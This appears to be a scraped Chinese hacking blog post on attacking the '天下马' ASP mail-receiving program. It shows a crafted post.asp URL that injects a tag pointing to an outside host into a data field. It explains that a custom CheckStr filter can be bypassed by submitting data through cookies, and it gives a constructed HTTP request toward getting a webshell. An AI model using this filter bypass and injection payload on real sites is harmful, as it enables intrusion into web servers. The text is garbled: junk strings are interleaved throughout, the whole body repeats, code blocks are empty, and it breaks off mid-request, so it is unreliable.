天下马ASP收信程序漏洞
最近看了八进制论坛上针对伯乐ASP收信程序的漏洞分析,通过提交数据达到获取webshell的方法!正好有朋友让我帮忙看一看天下马的提交问题!主要是由于有些程序使用者自定义了一些函数,使得原来的方法不能够绕过函数,但是昨天看了看,还是可以通过其他方法实现的!
#_ N#nXh-v2A|0
dCXV5vC Q$u}0首先,天下马的其他bug我们这里就不看了,直接看提交过程!
$Q(|XT5`0
&GM'O;ug"\0A7Hg0网上公布的提交过程是类似这种的连接:IXPUB技术博客1vt@2j\Y:C XP0[
IXPUB技术博客;yc a m"t*f)X!GYOj
http://www.xxx.com/post.asp?act=&d00=202&d01=IXPUB技术博客Q#?7Zu[,b7N.zH
{uu ~&h-lI0src=http://www.a.com>&d02=&d10=&d11=17000813&d20=&d21=&d22=&d23=&d30=天下马
M%M*keaK:h o0
Azf!ZY1`j8p0&d31=&d32=1&d33=&d40=0&d41=0&d42=0&d50=&d51=&d98=&d99=123IXPUB技术博客#}_/]+W0?9m,E V
IXPUB技术博客3C y:R/?+K&e
返回如图1所示表示正常插入IXPUB技术博客V3\K'M4dZ
8jmc7^&Q0
javascript:if(this.width>500)this.width=500" border=0>IXPUB技术博客$dG:}mj{)W;Ll|
)w^ U$D5Qp)x5g0e0我们来看看察看数据的页面及其部分源代码,如图2所示
:mYR[2__L0IXPUB技术博客7llQg5p iD+a
javascript:if(this.width>500)this.width=500" border=0>
4AU4} a:X!bP*j0
(|5Frs C/Y0但是有些程序却使用了一些自定义函数,针对提交的数据进行验证和过滤IXPUB技术博客yH#t:C JARcxi,m
)BU/L"u)NoY+Th T0我这里有一份代码如下:IXPUB技术博客!o/` _)p;B
IXPUB技术博客(}2RN1MP.{fz/D
[Copy to clipboard] [ - ]CODE:IXPUB技术博客e)hMp4bV,Yw%F'O
I^k1P2QL0c&\O@_k0相信很多朋友都已经看出来了,正如分析网站系统一样,这个自定义的代码只是针对Request.QueryString和Request.Form进行了过滤,没有对cookie提交的方式进行过滤!那么我们再看看天下马的获取方式
9`i/|OA&lyZ3Z6h0IXPUB技术博客y `3IV y5w5L,A1i
strAreaName = request("d00") //还有很多,只写出一个IXPUB技术博客+mDLhts
VR%Y2nuv#Q0....IXPUB技术博客N+?p o,Nk
IXPUB技术博客h-Z;z(WW_ K
....IXPUB技术博客7b q/VHw0~r*r
UD0L-{j9mq2Q%F0if strAreaName "" then RS("AreaName") = strAreaName //还有很多,只写出一个
@_q7e$pED O+{0IXPUB技术博客#^1D5rwnz"C,Z
....
I.ZYn1\(f^3lR0
-F.mF&kE,O|0....
4lw-R;C0ne&z]{I0IXPUB技术博客;U p:Z0t;E~ES
这个是没有经过过滤的天下马的代码,增加自定义函数的页面是将request变量经过了Function CheckStr(ChkStr)的过滤,但是还有一种提交方式就是cookie提交!下面我们看看提交方法!IXPUB技术博客)NYG*{Z
IXPUB技术博客{]'{D K@-h0o
首先是针对正常提交时候进行抓包分析,然后进行数据包的构造,我这里构造的包如下(这里我将真实信息修改了,^_^):IXPUB技术博客1k8yAH#k T1[5['p\t
!J)J4g_(v9n0[Copy to clipboard] [ - ]CODE:
fu B5e+Crp0
UP+Y9_0Q6P0GET /post.asp?
$b1\tj#s#M)H0IXPUB技术博客:zG5VW"](Tb9?k:F/}*|!N
act=&d00=202&d02=&d11=17000813&d20=&d21=&d22=&d23=&d30=cookie&d31=&d32=1&d33=&d40=0&d41=0&d4
^"Hm{#BQE0IXPUB技术博客r;v*y4Om%f JD
2=0&d50=&d51=&d98=&d99=123 HTTP/1.1
C-BT%X7e.Y^~4wZ:O{0
TXQ1r&?%m#W0Accept: */*IXPUB技术博客B!F8Qst!da$c~@
IXPUB技术博客P [&Xb-ig&z
Accept-Language: zh-cnIXPUB技术博客)f bH2M,DJ
%W TC"f*b G0UA-CPU: x86
/O gJ#o/P-L~1ea#N0
#\E1h@q+y[z[s0Accept-Encoding: gzip, deflate
@7Ayo^_*w,L+S-I-l4Ii0
tDv3^g6x]wJ0User-Agent: Mozilla/4.0 (compatible; MSIE 7.0;WindowsNT 5.1; .NET CLR 2.0.50727)IXPUB技术博客(m?*H#s Q B
.Bf#d"eg#~0Host: xxx.com
a2];Zd-q#Q@"J#t0IXPUB技术博客]6m'Q7d)w:k
Connection: Keep-Alive
#_ N#nXh-v2A|0
dCXV5vC Q$u}0首先,天下马的其他bug我们这里就不看了,直接看提交过程!
$Q(|XT5`0
&GM'O;ug"\0A7Hg0网上公布的提交过程是类似这种的连接:IXPUB技术博客1vt@2j\Y:C XP0[
IXPUB技术博客;yc a m"t*f)X!GYOj
http://www.xxx.com/post.asp?act=&d00=202&d01=IXPUB技术博客Q#?7Zu[,b7N.zH
{uu ~&h-lI0src=http://www.a.com>&d02=&d10=&d11=17000813&d20=&d21=&d22=&d23=&d30=天下马
M%M*keaK:h o0
Azf!ZY1`j8p0&d31=&d32=1&d33=&d40=0&d41=0&d42=0&d50=&d51=&d98=&d99=123IXPUB技术博客#}_/]+W0?9m,E V
IXPUB技术博客3C y:R/?+K&e
返回如图1所示表示正常插入IXPUB技术博客V3\K'M4dZ
8jmc7^&Q0
javascript:if(this.width>500)this.width=500" border=0>IXPUB技术博客$dG:}mj{)W;Ll|)w^ U$D5Qp)x5g0e0我们来看看察看数据的页面及其部分源代码,如图2所示
:mYR[2__L0IXPUB技术博客7llQg5p iD+a
javascript:if(this.width>500)this.width=500" border=0>4AU4} a:X!bP*j0
(|5Frs C/Y0但是有些程序却使用了一些自定义函数,针对提交的数据进行验证和过滤IXPUB技术博客yH#t:C JARcxi,m
)BU/L"u)NoY+Th T0我这里有一份代码如下:IXPUB技术博客!o/` _)p;B
IXPUB技术博客(}2RN1MP.{fz/D
[Copy to clipboard] [ - ]CODE:IXPUB技术博客e)hMp4bV,Yw%F'O
I^k1P2QL0c&\O@_k0相信很多朋友都已经看出来了,正如分析网站系统一样,这个自定义的代码只是针对Request.QueryString和Request.Form进行了过滤,没有对cookie提交的方式进行过滤!那么我们再看看天下马的获取方式
9`i/|OA&lyZ3Z6h0IXPUB技术博客y `3IV y5w5L,A1i
strAreaName = request("d00") //还有很多,只写出一个IXPUB技术博客+mDLhts
VR%Y2nuv#Q0....IXPUB技术博客N+?p o,Nk
IXPUB技术博客h-Z;z(WW_ K
....IXPUB技术博客7b q/VHw0~r*r
UD0L-{j9mq2Q%F0if strAreaName "" then RS("AreaName") = strAreaName //还有很多,只写出一个
@_q7e$pED O+{0IXPUB技术博客#^1D5rwnz"C,Z
....
I.ZYn1\(f^3lR0
-F.mF&kE,O|0....
4lw-R;C0ne&z]{I0IXPUB技术博客;U p:Z0t;E~ES
这个是没有经过过滤的天下马的代码,增加自定义函数的页面是将request变量经过了Function CheckStr(ChkStr)的过滤,但是还有一种提交方式就是cookie提交!下面我们看看提交方法!IXPUB技术博客)NYG*{Z
IXPUB技术博客{]'{D K@-h0o
首先是针对正常提交时候进行抓包分析,然后进行数据包的构造,我这里构造的包如下(这里我将真实信息修改了,^_^):IXPUB技术博客1k8yAH#k T1[5['p\t
!J)J4g_(v9n0[Copy to clipboard] [ - ]CODE:
fu B5e+Crp0
UP+Y9_0Q6P0GET /post.asp?
$b1\tj#s#M)H0IXPUB技术博客:zG5VW"](Tb9?k:F/}*|!N
act=&d00=202&d02=&d11=17000813&d20=&d21=&d22=&d23=&d30=cookie&d31=&d32=1&d33=&d40=0&d41=0&d4
^"Hm{#BQE0IXPUB技术博客r;v*y4Om%f JD
2=0&d50=&d51=&d98=&d99=123 HTTP/1.1
C-BT%X7e.Y^~4wZ:O{0
TXQ1r&?%m#W0Accept: */*IXPUB技术博客B!F8Qst!da$c~@
IXPUB技术博客P [&Xb-ig&z
Accept-Language: zh-cnIXPUB技术博客)f bH2M,DJ
%W TC"f*b G0UA-CPU: x86
/O gJ#o/P-L~1ea#N0
#\E1h@q+y[z[s0Accept-Encoding: gzip, deflate
@7Ayo^_*w,L+S-I-l4Ii0
tDv3^g6x]wJ0User-Agent: Mozilla/4.0 (compatible; MSIE 7.0;WindowsNT 5.1; .NET CLR 2.0.50727)IXPUB技术博客(m?*H#s Q B
.Bf#d"eg#~0Host: xxx.com
a2];Zd-q#Q@"J#t0IXPUB技术博客]6m'Q7d)w:k
Connection: Keep-Alive